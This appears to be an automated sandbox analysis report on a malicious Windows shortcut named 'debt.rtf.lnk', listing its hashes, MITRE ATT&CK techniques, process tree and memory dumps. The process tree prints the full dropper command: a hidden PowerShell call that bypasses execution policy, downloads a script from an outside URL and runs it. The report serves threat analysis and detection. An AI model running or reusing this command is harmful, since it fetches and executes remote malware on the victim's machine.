7a3b1e9c8df660dc1c1cf9b17411c1d6a4ffca364712c5de8ac46b1199ece1ce

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
11-11-2024 02:36

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General

Target

debt.rtf.lnk
Size

1KB
MD5

fdfc8fbec85d876fafc78d0d6d5bfb2b
SHA1

8787a1343b2610079c48f3d315c9dc9f618793c1
SHA256

95d5648444fbd18f4f19a7a7821e2e35cdd27b2ddfb40bf6dd60f1303660824a
SHA512

790a604522bfcd26cb738dc19121ba70f4b65a7a4a5fd5df8a7cd51069b3645fee42f25ed026152ce10fb83bfe7d23774b91abf3b8e8ddae0d3311d97d7e01bf

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://musiccenterconference.com/dwl/12.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2404	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2404	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2404	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2644 wrote to memory of 2404	2644	cmd.exe	31
PID 2644 wrote to memory of 2404	2644	cmd.exe	31
PID 2644 wrote to memory of 2404	2644	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\debt.rtf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypass -Command "Start-BitsTransfer -Source 'https://musiccenterconference.com/dwl/12.ps1' -Destination $($env:APPDATA + '\12.ps1'); & $($env:APPDATA + '\12.ps1')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2404-38-0x000007FEF565E000-0x000007FEF565F000-memory.dmp

Filesize
4KB

Download
memory/2404-39-0x000000001B460000-0x000000001B742000-memory.dmp

Filesize
2.9MB

Download
memory/2404-40-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2404-41-0x0000000002800000-0x0000000002808000-memory.dmp

Filesize
32KB

Download
memory/2404-44-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2404-42-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2404-43-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2404-45-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2404-46-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download